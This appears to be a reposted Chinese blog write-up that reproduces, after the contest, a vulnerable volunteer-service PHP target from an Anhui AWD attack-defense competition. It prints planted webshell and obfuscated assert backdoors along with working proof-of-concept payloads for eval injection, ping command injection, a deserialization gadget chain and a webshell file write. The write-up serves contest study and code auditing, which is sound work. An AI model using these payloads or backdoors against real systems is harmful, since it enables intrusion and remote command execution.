安徽省网络攻防赛AWD-志愿者服务系统赛后复现"

admin 2026-10-24 11:36:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

安徽省网络攻防赛AWD-志愿者服务系统赛后复现

H1ck
H1ck

H1sec

2026年10月19日 13:40
安徽

去阅读

幻影忍者前情提要:

被打成筛子了,ctf0分,awd零分,果然还是不能太依靠工具和ai。

awd给了三台靶机,一台是搭建的志愿者服务系统,看起来ai味好浓,一台是pwn,还有一台是wordpress 8版的

这里我们主要分析志愿者服务系统,通过代码审计。分析一些比较高危的漏洞

志愿者服务系统

出题人的留的后门:

1:org/smarty/Autofoucer.php

undefined

<?php
eval(get_defined_vars()['_GET']['cmd']);
?>
等价于
eval($_GET['cmd']);

这个一眼木马,不过多赘述

2.include/point\_settle.php

undefined

function baseline() {
        return 96;
    }
function offsets() {
   return array(1, 19, 19, 5, 18, 20);
    }
}

这个是一个后门

undefined

97 115 115 101 114 116  =>  assert
具体调用
return @array_map($op, array($packet));
代入
$op = \"assert\"、$packet = $_POST['settle_token']:
array_map(\"assert\", array($_POST['settle_token']));
等价于
assert($_POST['settle_token']);

第一处命令执行:

index.php

undefined

<?php
$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';

$obj=run_c($c);
run_a($obj,$a);
?>

原理:

undefined

eval('$obj->'.$action.'();');

POC

undefined

curl -sG \"http://127.0.0.1:7878/index.php\"
  --data-urlencode \"c=User\"
  --data-urlencode 'a=Index();system($_GET[1]);//'
  --data-urlencode \"1=id\"

第二处命令执行

/lib/User.php

undefined

function ping(){
    \t$host = $_POST['host'];
        system(\"ping -c $host\");
    }
}
?>

没有做过滤,也没有做鉴权处理

poc

undefined

POST /index.php?c=User&a=ping
Host: 127.0.0.1:7878

host=1|id

第三处命令执行

common/task.php

undefined

    function __destruct(){
        if (in_array($this->method, array(\"probe\"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
    function probe($host){
        system(\"ping -c 2 $host\");

__wakeup() 会去掉空格并做 mysql_escape_string(),但不会拦截; ,所以可以直接执行127.0.0.1;id

POC

undefined

POST /common/task.php HTTP/1.1
Host: 127.0.0.1:7878

task_data=O:8:\"TaskNode\":2:{s:16:\"\\0TaskNode\\0method\";s:5:\"probe\";s:14:\"\\0TaskNode\\0args\";a:1:{i:0;s:12:\"127.0.0.1;id\";}}
或者base64编码:
task_data=Tzo4OiJUYXNrTm9kZSI6Mjp7czoxNjoiAFRhc2tOb2RlAG1ldGhvZCI7czo1OiJwcm9iZSI7czoxNDoiAFRhc2tOb2RlAGFyZ3MiO2E6MTp7aTowO3M6MTI6IjEyNy4wLjAuMTtpZCI7fX0=

第四处命令执行

common/archive.php

undefined

class TimeArchive{
    var $content = '';
    function __wakeup(){
    \t$fp = fopen(\"log.php\",\"w\") ;
    \tfwrite($fp,$this->content);
    \tfclose($fp);
    }
}
if ( !preg_match( '/^([adObis]):/', $data, $badions ) )
    return false;

case 'O':
    if ( preg_match( \"/^{$badions[1]}:[0-9]+:.*[;}]\\$/s\", $data ) )
        return true;
if(isset($_POST['name'])){
    $post_data=$_POST['name'];
    if(is_serialized($post_data)){
    echo $post_data;
    unserialize($post_data);
}

对象注入任意写,只检查是否以:a: o: s:等开头,所以只要长得像是序列化对象就会被反序列化

POC:

undefined

POST /common/archive.php HTTP/1.1
Host: 127.0.0.1:7878

O:11:\"TimeArchive\":1:{s:7:\"content\";s:25:\"<?php system($_GET[0]);?>\";}

写入了common/log.php中

评论:0   参与:  0